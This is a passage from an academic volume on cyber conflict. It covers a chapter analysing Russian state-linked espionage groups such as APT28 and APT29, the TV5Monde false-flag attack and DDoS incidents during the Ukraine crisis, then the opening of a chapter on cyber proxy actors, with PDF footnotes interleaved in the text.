This orchestration should come as no surprise to Russian security analysts, as such an integrated approach is consistent with pub- lished Russian military doctrine.
Russian strategic thinkers do not consider cyber war (or even the prefix cyber) as a distinct concept.
Rather, computer network operations are tools to be integrated into broader efforts to maintain political and military dominance in a given theatre and, more broadly, in the domestic and global courts of public opinion.
This chapter will ground strategic thinking on cyber conflict against the system- atic cyber espionage that we believe Russia is leveraging in its conflict with Ukraine.
Rather than a cyber war waged in a distinct networked domain, Russias strategy has been to masterfully exploit the information gleaned from its worldwide com- puter network exploitation campaigns to inform its conduct, purposely distort pub- lic opinion, and maintain its dominant position in Ukraine.
The author will examine three types of interrelated Russian cyber operations from a technical and targeting perspective: 1.
Computer network exploitation (CNE) to gain a decisive information advantage 2.
Prepping the battlefield via denial and deception and 3.
Limited incidents of cyber disruption and destruction.
2 The Architecture and Artistry of Russias Strategic Information Theft Since the start of the Ukraine conflict, security companies have been increasingly tracking, cataloguing, and exposing sustained Russian CNE campaigns.
Overall these Russian cyber threat groups have consistently focused on clandestinely steal- ing intelligence, most likely to give the Russian Government a strategic advantage.
The targets of these operations have repeatedly included Ukrainian, European, and U.S. government targets, militaries, international and regional defence and politi- cal organisations, think tanks, media outlets, and dissidents.
While it is difficult to assess with certainty whether these cyber threat groups are directly tasked or sup- ported by Moscow, there is a growing body of evidence indicating these cyber actors are Russia-based, and that their activities highly likely benefit Moscow.
The security communitys ability to detect, track, and ultimately expose Russian cyber operations seems to have improved since the Ukraine conflict began, even rel- ative to overall trends in the industry on exposing threat activity.
While determining a direct causation between the conflict in Ukraine and a seemingly marked uptick in observable Russian cyber activity is challenging, the timing is certainly notable.
It is exceedingly unlikely that Russian actors only just started conducting aggressive CNE 69 on a global scale, so why has our ability to track and expose their activity appear to have improved?
One reason may be that Russias current national security crisis has increased its governments collections requirements to state-supported hackers, which has in turn accelerated the groups operational tempo.
As a result, it may be more dif- ficult for these actors to modify their tactics, techniques, and procedures (TTPs) on a timely basis, which often results in them tipping their hand.
To shed light on how this sustained information theft is being carried out, the following sections discuss some of the cyber tactics and compromised computer infrastructure that FireEye has associated with two prominent hacker groups that we believe operate from Russia, as well as a summary list of CNE-related activity that is likely being used to give Moscow a geopolitical and military advantage.
3 APT29 (Advanced Persistent Threat1 Group 29) APT29 is a sophisticated and highly capable Russian cyber espionage group with a diverse, constantly evolving toolset, and talented oper- ators.
The group maintains a globally dispersed and intricate attack infrastructure that doubt- less requires substantial resources to maintain.
APT29s tools often leverage legitimate web services for malware command and control mechanisms, which can make them more difficult to detect because they appear to be benign communications at first glance.
3.1 APT29s Targets: Consistent with Russian State Interests APT29 typically targets entities to steal information that is closely linked to Rus- sian geopolitical interests and priorities.
The groups recent operations suggest it is particularly focused on targets of intelligence value that are related to the Rus- sia-Ukraine crisis and related policy responses.
This includes: western governments (particularly foreign policy and defence-related targets) international security and legal institutions think tanks and educational institutions.
APT29 usually compromises its victims via socially engineered spear phishing emails either with malicious email attachments, or through a link to download a malicious file from a compromised website.
The groups decoy documents (lures) often topically align with their targets interests and work subject matter this social engineering technique is common and can be very effective.
APT29 has also been known to re-purpose and weaponise legitimate documents or information stolen from its previously compromised networks.
Example lure topics from legitimate sources include content related to European Union sanctions on Russia, a voicemail 1 We refer to groups that we assess have a nexus to state sponsorship as Advanced Persistent Threat, or APT groups.
APT29 is a highly capa- ble Russian cyber espio- nage group with a con- stantly evolving toolset.
70 attachment sent from a reporter to a think tank scholar who writes on Russia-Ukraine issues,2 a PDF report on terrorism, and discussions related to Caucasus regional development and democratisation.3 APT29 has also used less tailored and pop cul- ture-themed approaches, such as a faked e-fax, and videos of Office Monkeys.45 3.2 APT29s Tools and Infrastructure: the Work of Professionals The complex nature of APT29s malware and infrastructure (requiring significant financial resources and expertise for upkeep), combined with its operational secu- rity practices and target sets strongly suggests some level of Russian state sponsor- ship.
Its typical work hours (as defined by active operations in networks the group has compromised) fall within the UTC3 time zone, which aligns to the time zones of Moscow and St. Petersburg.
Furthermore, APT29 has been known to temporarily halt its operations on Russian holidays.6 APT29 has been highly active throughout 2015, employing new data theft tools as well as pursuing new targets for stealing information.
To maintain operational security, APT29 often configures its malware to activate only at predetermined times, and is adept at using misdirection and obfuscation TTPs7 that hinder reverse engineering and other means of analysis.
One complicated APT29 backdoor, HAM- MERTOSS, is highly capable of evading detection, particularly by its ability to mimic the behaviour of legitimate users.8 HAMMERTOSS accomplishes this stealthiness by leveraging commonly visited websites and web services to relay commands and steal data from victims.
The tool works by: Checking in and retrieving commands via legitimate web services, such as Twitter and GitHub Using compromised web servers for command and control (C2) Visiting different Twitter handles daily and automatically Using timed starts, such as communicating only after a specific date or only during the victims workweek Obtaining commands via images containing hidden and encrypted data (steganography) and Extracting information from a compromised network by uploading files to commonly used cloud storage services.9 2 The Connections Between MiniDuke, CosmicDuke and OnionDuke.
January 7, 2015.
F-Secure.
https://www.f-secure.com/ weblog/archives/00002780.html.
3 Graham Cluley.
MiniDionis: Where a Voicemail Can Lead to a Malware Attack.
July 16, 2015.
http://www.tripwire.com/ state-of-security/security-data-protection/cyber-security/minidionis-voicemail-malware/.
4 Ibid.
5 Sergey Lozhkin.
Minidionis  one more APT with a usage of cloud drives.
Kaspersky Lab.
July 16, 2015.
https://securelist.com/ blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/.
6 FireEye Threat Intelligence, HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group, July 29, 2015.
https:// www.fireeye.com/blog/threat-research/2015/07/hammertoss_stealthy.html.
7 Kurt Baumgartner and Costin Raiu.
The CozyDuke APT.
Securelist.
April 21, 2015.
https://securelist.com/blog/re- search/69731/the-cozyduke-apt/.
8 Ibid.
9 Ibid.
https://www.fireeye.com/blog/threat-research/2015/07/hammertoss_stealthy.html https://www.fireeye.com/blog/threat-research/2015/07/hammertoss_stealthy.html https://securelist.com/blog/research/69731/the-cozyduke-apt/ https://securelist.com/blog/research/69731/the-cozyduke-apt/ 71 APT29 appears to deploy this advanced malware only against high-value networks where it needs not only to steal informa- tion but also to maintain persistent access to the victims environment.
In addition, APT29 possesses other advanced, stealthy tools in its toolbox (which include the Dukes malware10), and the group is con- stantly evolving its weaponry.
4 APT28 (also known as Tsar Team/Sofacy/Pawn Storm) APT28 is another Russian cyber espionage group that frequently targets European security organisations, Eastern European governments and militaries, international media outlets, think tanks, defence companies, domestic dissident populations, and entities in the Caucasus.
This list is not exhaustive.11 The following table summarises some of what currently know about APT28.12 Like APT29, APT28 works in a highly professional manner worthy of its advanced persistent threat moniker.
Security researchers believe its malware is written in a Russian language development environment, and that it has been sys- tematically updating its tools, some of which are also able to target mobile devices13 since 2007.
One way to appreciate the sophisticated nature of APT28 is through its exploita- tion of zero-day vulnerabilities that is, previously undiscovered and unpatched vulnerabilities.
For example, in early 2015, APT28 likely exploited two zero-day vul- nerabilities in Adobe Flash and Microsoft Windows in an attack against a govern- ment contractor.14 In a separate incident in July 2015, APT28 rapidly integrated into its operations multiple zero-day vulnerabilities exposed in the highly public breach of the Italian exploit dealer Hacking Team.15 10 Duke APT groups latest tools: cloud services and Linux support.
July 22, 2015.
F-Secure.
https://www.f-secure.com/we- blog/archives/00002822.html Kurt Baumgartner, Costin Raiu.
The CozyDuke APT.
Kaspersky Lab.
April 21, 2015.
https:// securelist.com/blog/69731/the-cozyduke-apt/ Brandon Levene, Robert Falcone and Richard Wartell.
Tracking MiniDionis: CozyCars New Ride Is Related to Seaduke.
Palo Alto Networks.
July 14, 2015.
11 APT28: A Window into Russias Cyber Espionage Operations?
FireEye Blog.
October 27, 2014.
https://www.fireeye.com/blog/ threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html.
12 Ibid.
13 Dune Lawrence and Michael Riley.
Hackers Target Hong Kong Protesters via iPhones.
Bloomberg Business.
October 1, 2014.
http://www.bloomberg.com/bw/articles/2014-10-01/hackers-target-hong-kong-protesters-via-iphones.
14 FireEye Labs.
Operation RussianDoll: Adobe  Windows Zero-Day Exploits Likely Leveraged by Russias APT28 in High- ly-Targeted Attack.
April 18, 2015.
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html.
15 Jonathan Leathery.
Microsoft Office Zero-Day CVE-2015-2424 Leveraged By Tsar Team.. iSight Partners.
July 15, 2015.
http:// www.isightpartners.com/2015/07/microsoft-office-zero-day-cve-2015-2424-leveraged-by-tsar-team/.
Malware needs not only to steal information but to maintain persistent access to the victims environment.
http://www.f-secure.com/weblog/archives/00002822.html https://www.f-secure.com/weblog/archives/00002822.html https://www.f-secure.com/weblog/archives/00002822.html https://securelist.com/blog/69731/the-cozyduke-apt/ https://securelist.com/blog/69731/the-cozyduke-apt/ 72 5 A Crowded Playing Field: Additional Examples of Russian CNE Numerous cyber security companies have characterised a range of suspected Russian state-sponsored cyber activity and malware.
Overall, there are recurring themes in their findings, which suggests that Russian CNE campaigns are based on consistent taskings.
Multiple cyber espionage campaigns ongoing across the globe since at least 2007 (and no doubt much earlier) has probably given these actors a considerable information advan- tage.
A few examples are as follows.
In September 2015, Kaspersky Labs published research exposing multiple Rus- sian APT groups using and abusing satellite-based internet links (particularly IP addresses in Middle Eastern and African countries) to hide their operational command and control.
This infrastructure likely enables a high degree of oper- ational security.
One of the groups using this tactic is the same group behind the Snake/Uroburos/Turla malware, thought to be related to the infamous Agent.
BTZ, which was used to penetrate U.S. military networks as early as 2008.
Kasper- skys report outlined a specific campaign targeting government, embassies, mili- Figure 1-1  APT28 Activities Russian CNE campaigns are based on consistent taskings.
Malware Targeting Russian Attributes Evolves and Maintains Tools for Continued, Long-Term Use Uses malware with flexible and lasting platforms Constantly evolves malware samples for continued use Malware is tailored to specific victims environments, and is designed to hamper reverse engineering efforts Developed in a formal code development environment Various Data Theft Techniques Backdoors using HTTP proto- col Backdoors using victim mail server Local copying to defeat closed/air gapped networks Georgia  the Caucasus Ministry of Internal Affairs Ministry of Defence Journalist writing on Cauca- sus issues Kavkaz Center Eastern European Governments  Militaries Polish Government Hungarian Government Ministry of Foreign Affairs in Eastern Europe Baltic Host exercises Security-related organisations NATO OSCE Defense attaches Defense events and exhibi- tions Russian Language Indicators Consistent use of Russian malware over a period of six years Lure to journalist writing on Caucasus issues suggests APT28 understands both Russian and English Malware Compile Times Cor- respond to Work Day in Moscows Time Zone Consistent among APT28 samples with compile times from 2007 to 2014 The compile times align with the standards workday in the UTC 4 time zone, which includes major Russian cities such as Moscow and St. Petersburg 73 tary entities, universities, research organisations, and pharmaceutical companies worldwide.16 In August 2015, a group of security researchers described the enterprise-like effort behind the Gameover ZeuS malware and its prolific and FBI-sought author Evgeniy Mikhailovich Bogachev (a.k.a.
Slavik).
The malware was used to facilitate both cyber crime and espionage.
Further, the researchers discovered commands in the malware indicating that the actors sought to gather classified information from victims in Ukraine, Georgia, and Turkey,17 suggesting a link between Russias cyber crime syndicates and government espionage actors.
In late 2014, researchers exposed a long-active Russian group called Sandworm, whose victims included NATO, the Ukrainian Government, EU governments, energy and telecommunications firms, and an American academic organisation.
The group used zero-day exploits and infected victims through a variety of means including malicious PowerPoint attachments and the BlackEnergy toolkit.18 Between 2013 and 2014, actors using the Snake/Uroburos/Turla malware tar- geted Ukrainian computer systems in dozens of cyber operations launched by com- mitted and well-funded professionals.19 This malware is highly complex, reistant to countermeasures, and thought to have been created in 2005.20 Since 2013, Operation Armageddon  a Russian cyber espionage campaign allegedly targeting Ukrainian government, law enforcement, and military officials has likely helped provide a military advantage to Russia vis--vis Ukraine from secrets systematically gathered from cyber espionage.
21 In 2012, suspected Russian actors reportedly used the Wipbot and Snake backdoors for long-term cyber espionage.
The actors leveraged legitimate (but compromised) web- sites to systematically deliver malware, particularly to victims in Eastern Europe.22 6 Prepping the Battlefield The cyber espionage activity previously described entails the penetration and exploitation of networks in order to steal sensitive information.
However it is important to note that the network access required for CNE can, depending on 16 Stefan Stanase.
Satellite Turla: APT Command and Control in the Sky.
Securelist Blog.
September 9, 2015.
https://securelist.
com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/.
17 Michael Sandee.
GameOver Zeus.
Backgrounds on the Badguys and the Backends.
FoxIT Whitepaper.
https://www.fox-it.com/ en/files/2015/08/FoxIT-Whitepaper_Blackhat-web.pdf.
18 iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign.
iSight Partners, Octo- ber 14, 2014.
http://www.isightpartners.com/2014/10/cve-2014-4114/.
19 The Snake Campaign.
BAE Systems.
2014.www.baesystems.com/ai/snakemalware.
20 Ukraine attacked by cyberspies as tensions escalated in recent months.
Associated Press.
March 9, 2014.
http://www.theguard- ian.com/world/2014/mar/09/ukraine-attacked-cyberspies-tensions-computer.
21 Lookingglass.
Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare  CTIG Re- port.
April 28, 2015.
https://lgscout.com/operation-armageddon-cyber-espionage-as-a-strategic-component-of-russian-mod- ern-warfare-ctig-report/.
22 Symantec Security Response.
Turla: Spying tool targets governments and diplomats.
August 7, 2014.
http://www.symantec.com/ connect/blogs/turla-spying-tool-targets-governments-and-diplomats.
http://www.baesystems.com/ai/snakemalware 74 the intent of the attacker, also be used for disruptive or destructive CNA, including what military professionals call preparation of the battlefield for potential conflict scenarios.
23,24 The cyber backdoors used to access environments illicitly or lay low and maintain persistence could also be used to enable future attacks.
Extensive preparation of the battlefield is consistent with Russian strategic thinking.
During the Cold War, the Soviet Union developed highly detailed maps of U.S. and European cities  all the way down to individual buildings, terrain, and weather.
This information would be invaluable in the event of invasion or occupation, as in Crimea.25 Russian mapping of an adversarys cyber infra- structure is in principle the same concept.
Computer networks, however, are harder to map: like living organisms, they constantly evolve.
Therefore, todays map might not be good tomorrow, which is why Russian malware implants like HAMMER- TOSS are designed to sustain clandestine access.
6.1 Preparing for Attack?
Is Russia preparing for future cyber attacks on Western critical infrastructure?
This is difficult to prove, but the Sandworm group has reportedly targeted supervisory control and data acquisition (SCADA) equipment, which is used in industrial and critical infrastructure settings, with the BlackEnergy toolkit.26 The victims were pro- duction systems, not vendor-owned prototypes or systems that contained financial information, intellectual property, or political intelligence.
Given the targets seemed to be production systems, there would likely be no benefit from an espionage per- spective to infect these systems.
Rather, the actors using the malware may have been looking for weaknesses to exploit in a future disruptive scenario.
In addition, the use of a crimeware toolkit offers a degree of anonymity or plausible deniability for actors with more destructive purposes.
23 Jen Weedon and Jacqueline Stokes.
Security in an Era of Coercive Attacks.
FireEye Executive Perspectives Blog.
May 14, 2015.
https://www.fireeye.com/blog/executive-perspective/2015/05/security_in_an_erao.html.
24 In the U.S., CNE and CNA may be carried out by different government agencies operating under different authorities, but not all countries will have this same dichotomy.
25 Nick Ballon.
Inside the Secret World of Russias Cold War Maps.
Wired.
http://www.wired.com/2015/07/secret-cold-war-maps/ 26 Kyle Wilhoit and Jim Gogolinski.
Sandworm to Blacken: The SCADA Connection.
October 16, 2014.
http://blog.trendmicro.
com/trendlabs-security-intelligence/sandworm-to-blacken-the-scada-connection/.
Extensive preparation of the battlefield is consistent with Russian strategic thinking.
http://www.wired.com/2015/07/secret-cold-war-maps/ 75 7 Deception and Telegraphing Intent: APT28 and TV5Monde Russia has a long history of using information operations and deception to create confusion or sow panic to ultimately create favourable conditions for their activity.27 This tactic has simply evolved for the internet era to include online misinforma- tion campaigns and propaganda, and extensive internet trolling.
One of the more remarkable incidents this year included APT28s possible use of false flag operation against a French TV station.
In April 2015, hackers claiming to be the Islamic State-affiliated Cyber Caliph- ate hacked Frances TV5 Monde channel, shutting off transmissions for eighteen hours, and posting Islamic State propaganda on the TV5 Mondes Facebook and Twitter accounts.
The attack also apparently resulted in significant damage to the channels broadcasting infrastructure.28 This incident generated enormous publicity and speculation over Cyber Caliph- ates apparently growing capabilities and intent.
However, technical analysis of the attackers network infrastructure (such as the IP block hosting the Cyber Caliphates website, its server, and registrar)29 as well as some other sensitive source reporting related to the malware used suggests that Russias APT28 was in fact the more likely perpetrator of this attack.
French Police concurred with this conclusion, stating Russian hackers linked to the Kremlin may have been responsible.30 In a similar vein, The New York Times reported that a Russian organisation known as the Inter- net Research Agency had conducted systematic online trolling and hoaxes in the U.S., including a spoofed Islamic State attack against a Louisiana chemical plant on the anniversary of 9/11.31 If APT28 (or another Russian hacker group) conducted these attacks, what were their motivations?
There are a number of plausible scenarios, including: Russian actors may have been displeased at TV5 Monde coverage of the Ukraine conflict, and this was an act of retribution Russian actors wanted to distract attention from the Kremlins actions in Ukraine by shifting the focus of Western national security planners to the Islamic State 27 Roland Heicker.
Emergin Cyber Threats and Russian Views on Information Warfare and Information Operations.
FOI, Swedish Defence Research Agency.
March 2010.
http://www.foi.se/ReportFiles/foir_2970.pdf.
28 Cale Guthrie Weissman.
France: Russian hackers posed as ISIS to hack a French TV broadcaster.
Business Insider.
June 11, 2015.
http://www.businessinsider.com/new-discovery-indicates-that-russian-hackers-apt28-are-behind-the-tv5-monde- hack-2015-6.
29 Sheera Frankel.
Experts Say Russians May Have Posed As ISIS To Hack French TVChannel.
Buzzfeed.
June 9, 2015.
http:// www.buzzfeed.com/sheerafrenkel/experts-say-russians-may-have-posed-as-isis-to-hack-french-t.wg4BeJ6xDP  Eamon Javers.
These cyberhackers may not be backed by ISIS.
CNBC.
July 14, 2015.
http://www.cnbc.com/2015/07/14/these-cyber- hackers-not-backed-by-isis.html.
30 Joseph Menn and Leigh Thomas.
France probes Russian lead in TV5Monde hacking: sources.
Reuters.
June 10, 2015.
http:// www.reuters.com/article/2015/06/10/us-france-russia-cybercrime-idUSKBN0OQ2GG20150610.
31 Adrian Chen.
The Agency.
New York Times.
June 2, 2015.
http://www.nytimes.com/2015/06/07/magazine/the-agency.html?_
r0.
http://www.buzzfeed.com/sheerafrenkel/experts-say-russians-may-have-posed-as-isis-to-hack-french-t.wg4BeJ6xDP http://www.buzzfeed.com/sheerafrenkel/experts-say-russians-may-have-posed-as-isis-to-hack-french-t.wg4BeJ6xDP 76 Russian actors actively sought exposure as the perpetrators, and by doing so, telegraph that they were both willing and capable of pulling off such a scheme, while refining their ability to disrupt and destroy digital media broadcasting capabilities.
8 Cyber War in Ukraine  Not Much to See Here There have been significant cyber espionage operations directed against victims related to Russias strategic interests, particularly in regards to the situation in Ukraine.
However we have not seen high profile, coercive and damaging attacks similar to those waged on Estonia in 2007 or Georgia in 2008.
The publicly reported examples of CNA in Ukraine mostly include Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks designed to undermine Ukraines telecommunications infrastructure.
For the attackers, these were likely a low-risk way to disrupt the flow of information within the Ukrainian national security space, as well as a way to selectively and temporarily silence spe- cific voices online.
Some of the known incidents are listed below: November 2013: Russian hackers reportedly defaced and DDoSed the websites of several Ukrainian TV stations, news outlets, and politi- cians.32 February 2014: Russian troops allegedly tampered with Ukraines fibre optic cables and raided Ukrtelecom, which stated that it had lost the technical capacity to provide connection between the peninsula and the rest of Ukraine and probably across the peninsula, too.33 In Crimea, mobile, landline, and internet access were all affected.
March 2014: As Russian troops entered Crimea, the main Ukrainian Government website was shut down for nearly 72 hours,34 many other official government and media websites were targeted in DDoS attacks,35 and the cell phones of many Ukrainian parliamentarians were hacked.36 32 Hromadske.tv under DDoS-attack.
Institute of Mass Information.
November 26, 2013.
http://imi.org.ua/en/news/42266-hro- madsketv-under-ddos-attack.html.
33 Ukrtelecoms Crimean sub-branches officially report that unknown people have seized several telecommunications nodes in the Crimea.
February 28, 2014.
http://en.ukrtelecom.ua/about/news?id120467.
34 Ukraine says communications hit, MPs phones blocked.
Reuters.
March 4, 2014.
http://www.reuters.com/article/2014/03/04/ ukraine-crisis-cybersecurity-idUSL6N0M12CF20140304.
35 Cornelius Rahn, Ilya Khrennikov and Aaron Eglitis.
Russia-Ukraine Standoff Going Online as Hackers Attack.
Bloomberg.
March 6, 2014.
http://www.bloomberg.com/news/articles/2014-03-05/russia-ukraine-standoff-going-online-as-hackers-at- tack.
36 Peter Bergen and Tim Maurer.
Cyberwar hits Ukraine.
CNN.
March 7, 2014.
http://www.cnn.com/2014/03/07/opinion/ber- gen-ukraine-cyber-attacks/.
We have not seen coercive and damaging attacks simi- lar to Estonia or Georgia.
http://www.bloomberg.com/authors/APrBHU6bbIM/cornelius-rahn http://www.bloomberg.com/authors/APp4zwItcaw/ilya-khrennikov http://www.bloomberg.com/authors/AOUFuy4mEe0/aaron-eglitis May 2014: the pro-Russian hacktivist group CyberBerkut claimed responsibility for a breach of the systems of Ukraines Central Elec- tion Commission with malware that would have deleted the results of the presidential election.
However, Ukraines Security Service (SBU) removed the malware and replaced the election software prior to the vote.37 Outside of these limited publicly reported incidents, it appears that the Kremlin has either not needed or not chosen to engage in extensive overt CNA during this conflict.
One reason for this could be that Moscow wants to avoid the international criticism that followed its alleged cyber operations in the 2008 war in Georgia, and in Estonia in 2007.
Instead, Moscow seems to be using more narrowly focused, lim- ited operations in support of strategic state objectives, primarily via sustained cyber espionage rather than widespread attacks.
9 Information War, Not Cyber War In the Russia-Ukraine conflict, computer network operations have not been limited to trite notions of cyber war.
Rather, an examination of the sustained tensions sug- gests that this has been a war waged with and by the strategic theft and manipulation of information, and not extensive application of destructive cyber attacks.
Russias unrelenting cyber espionage campaigns over time, and against so many targets, have no doubt given it a considerable advantage in understanding, anticipating, and in some instances outmanoeuvring its enemies.
This approach may have rendered DDoS and other destructive attacks less necessary or preferable.
While we do not always have definitive attribution, the malicious cyber tools and attacker infrastructure used by these suspected Russian government-backed actors in many ways mimic what we would expect from Russian intelligence operatives, defined by stealth, artistry in tradecraft, and a high regard for operational security.
Yet, as mirrored in Russias real-life politics, some of the actors also appeared flip- pant and even brazen at times, characteristics that could reflect an absence of fear of getting caught or any sense of effective deterrence.
In this sense, such behaviour will no doubt continue, and it remains of the utmost important to anticipate and defend against this activity, both for short-term network security and for long-term international stability.
37 Cyber-attack cripples Ukraines electronic election system ahead of presidential vote.
RT.
May 24, 2014.
http://rt.com/news/161332-ukraine-president-election-virus/.
This has been a war waged with and by the strategic theft and manipulation of information.
79 Cyber Proxies and the Crisis in Ukraine Tim Maurer New America 1 Introduction In July 2015, I travelled to Kyiv to investigate the role of cyber proxy actors as part of a long-term, global research project on the issue.
The Ukrainian crisis seemed like the perfect case study to explore how states use non-state actors and their capa- bilities.
The findings confirmed some of my assumptions but also revealed some surprises.
This article outlines what I learned during the trip based on interviews with 11 individuals including current and former government officials, private sec- tor representatives, security researchers, and Eugene Dokukin, the commander of the Ukrainian Cyber Forces, in addition to a review of existing literature.1 To start, the crisis in Ukraine has several ingredients that appear to make the use of proxies by a state likely, namely (1) an ongoing hot conflict, fuelling (2) incentives for the state to use proxy capabilities and (3) significant capabilities residing outside of but available to the state.
With regard to the second, this includes the general political incentive to be able to claim plausible deniability as well as incentives for the state to augment its own capabilities by adding those provided by non-state actors.
It is also helpful to distinguish between two dimensions when analysing proxy actors to ensure greater analytical clarity.
First, analysing proxy actors is part of the broader academic inquiry into the governance of violence best described by the title 1 Cyber warrior steps up effort to help in war with Russia, KyivPost, February 10, 2015, http://www.kyivpost.com/content/kyiv- post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html?flavourmobile.
Chapter 9 http://www.kyivpost.com/content/kyiv-post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html?flavourmobile http://www.kyivpost.com/content/kyiv-post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html?flavourmobile 80 of Deborah Avants seminal book The Market for Force  The Consequences of Privat- izing Security.
In that book, Avant investigates the market for force and the role of public and private actors including proxies.2 The second, narrower dimension focuses on proxy actors used to commit internationally wrongful acts using ICTs.3 This is the language used in the most recent report of the Group of Governmental Experts (GGE) that is leading the international communitys global cybersecurity norms effort under the auspices of the United Nations.
Unlike the first dimension which examines proxy actors more broadly including those that are used by states for defensive pur- poses, this second lens is about proxy actors used to cause harm to another party.
This short chapter will look at both private actors involved in the general pro- vision of security for the benefit of the state, and private actors using force against a third party to the benefit of the state, but will focus on the latter.
The first section outlines in greater detail the conditions present in the region assumed to contribute to the existence of proxy actors.
The second part describes the proxy actors that are publicly known to have been active during the crisis.
2 The Making of a Hot Conflict The hot conflict between Ukraine and Russia was the result of simmering political ten- sion that escalated in November 2013, when former Ukrainian president Viktor Yanu- kovych abandoned plans to sign a trade agreement with the EU.
Yanukovychs deci- sion incited mass protests that were met with a violent government crackdown.
In November, long before Yanukovychs flight in February and the build-up of Russian troops on the Crimean border, reports emerged that Russian hacker groups were executing Distributed Denial of Service (DDoS) attacks and defacing websites critical to the Yanukovych governments relation- ship with Russia.
This period was characterised by low-level hacking targeting highly visible websites, either rendering them unavailable or changing their content.
On February 28, shortly after Yanukovych left the country, unmarked soldiers, that Russias President Putin later acknowledged4 to be Russian troops, seized a military airfield in Sevastopol and Simferopol international airport.
Concurrently, armed sol- 2 The Market for Force The Consequences of Privatizing Security, Cambridge University Press, 2005, http://www.cambridge.
org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-se- curity.
3 United Nations, General Assembly, Report of the Group of Governmental Experts on Developments in the Field of Information and Telecommunications in the Context of International Security,United Nations, July 22, 2015, http://www.un.org/ga/search/ view_doc.asp?symbolA/70/174.
4 Vladimir Putin admits for first time Russian troops took over Crimea, refuses to rule out intervention in Donetsk, National Post, April 17, 2014, http://news.nationalpost.com/news/world/vladimir-putin-admits-for-first-time-russian-troops-took- over-crimea-refuses-to-rule-out-intervention-in-donetsk.
Long before Yanukovychs flight, Russian hacker groups were executing DDoS attacks and defacing websites.
http://www.cambridge.org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-security http://www.cambridge.org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-security http://www.cambridge.org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-security http://www.un.org/ga/search/view_doc.asp?symbolA/70/174 http://www.un.org/ga/search/view_doc.asp?symbolA/70/174 http://news.nationalpost.com/news/world/vladimir-putin-admits-for-first-time-russian-troops-took-over-crimea-refuses-to-rule-out-intervention-in-donetsk http://news.nationalpost.com/news/world/vladimir-putin-admits-for-first-time-russian-troops-took-over-crimea-refuses-to-rule-out-intervention-in-donetsk 81 diers tampered with fibre optic cables, raiding the facilities of Ukrainian telecom firm Ukrtelecom, which stated afterward that it had lost the technical capacity to provide connection between the peninsula and the rest of Ukraine and probably across the peninsula, too.5 In addition, cell phones of Ukrainian parliamentarians were hacked and the main Ukrainian government website was shut down for 72 hours after Rus- sian troops entered Crimea on March 2.
Patriotic Ukrainian hacker groups such as Cyber Hundred and Null Sector retaliated with DDoS attacks of their own against websites of the Kremlin and the Central Bank of Russia.6 The day before the presi- dential election, Ukraines Security Service (SBU) discovered malware in the systems of the Central Election Commission designed to compromise data collected on the results of the election, revealing how close Russian hackers had come to sabotaging the results.7 The hacker group Cyber Berkut claimed responsibility.8 3 Incentives for the State to Use Capabilities in Private Hands A general political incentive for states to use proxies is summed up by the concept of plausible deniability.
Developed in the context of maritime privateering, it was: invented [by state rulers] at the turn of the seventeenth century.
If a private undertaking that a ruler authorised met with success, s/he could claim a share in the profits.
If the enterprise caused conflict with another state, the ruler could claim it was a private operation for which s/he could not be held responsible.9 While some of the specific elements of maritime privateering are no longer rel- evant today, the general concept and logic for this type of behaviour still apply and exist today.
For example, the Russian Government denied any involvement in the Ukrainian crisis for many months, in spite of eyewitness accounts and news reports plainly stating otherwise.
One particularly horrible example of plausible deniability was the mass murder of the passengers on Malaysia Airlines flight 17.
The benefits of plausible deniability also apply to the Ukrainian Government.
The Ukrainian Cyber Forces, led by Eugene Dokukin, is a volunteer group that 5 Feb. 28 Updates on the Crisis in Ukraine, The New York Times News Blog, February 28, 2014, http://thelede.blogs.nytimes.
com/2014/02/28/latest-updates-tensions-in-ukraine/?_r0.
6 Kremlin website hit by powerful cyber attack, Reuters, March 14, 2014, http://www.reuters.com/article/2014/03/14/us-rus- sia-kremlin-cybercrime-idUSBREA2D16T20140314.
7 Cyber-attack cripples Ukraines electronic election system ahead of presidential vote, RT, 24 May, 2014, http://www.rt.com/ news/161332-ukraine-president-election-virus/.
8 Ukraine election narrowly avoided wanton destruction from hackers (video), The Christian Science Monitor, June 17, 2015, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hack- ers-video.
9 Janice Thomson.
Mercenaries, Pirates, and Sovereigns (Princeton, NJ: Princeton University Press, 1994), 21.
Political incentive for states to use proxies is summed up by the concept of plausible deniability.
http://thelede.blogs.nytimes.com/2014/02/28/latest-updates-tensions-in-ukraine/?_r0 http://thelede.blogs.nytimes.com/2014/02/28/latest-updates-tensions-in-ukraine/?_r0 http://www.reuters.com/article/2014/03/14/us-russia-kremlin-cybercrime-idUSBREA2D16T20140314 http://www.reuters.com/article/2014/03/14/us-russia-kremlin-cybercrime-idUSBREA2D16T20140314 http://www.rt.com/news/161332-ukraine-president-election-virus/ http://www.rt.com/news/161332-ukraine-president-election-virus/ http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video 82 occasionally publishes data from the Russian Ministry of the Interior, and at one point threatened to shut down the internet in the Crimea and other cities in eastern Ukraine.10 There is no evidence suggesting that the Ukrainian Government coor- dinates or directly supports any of the Ukrainian Cyber Forces activities, and my own research supports this conclusion.
At the same time, the Government benefits from its activities with or without its involvement.
For the Ukrainian Government, another set of incentives is arguably more important than the political ones: its own limited capabilities, and the possibility to rely on proxy actors to augment these capabilities in the face of a much more powerful opponent.
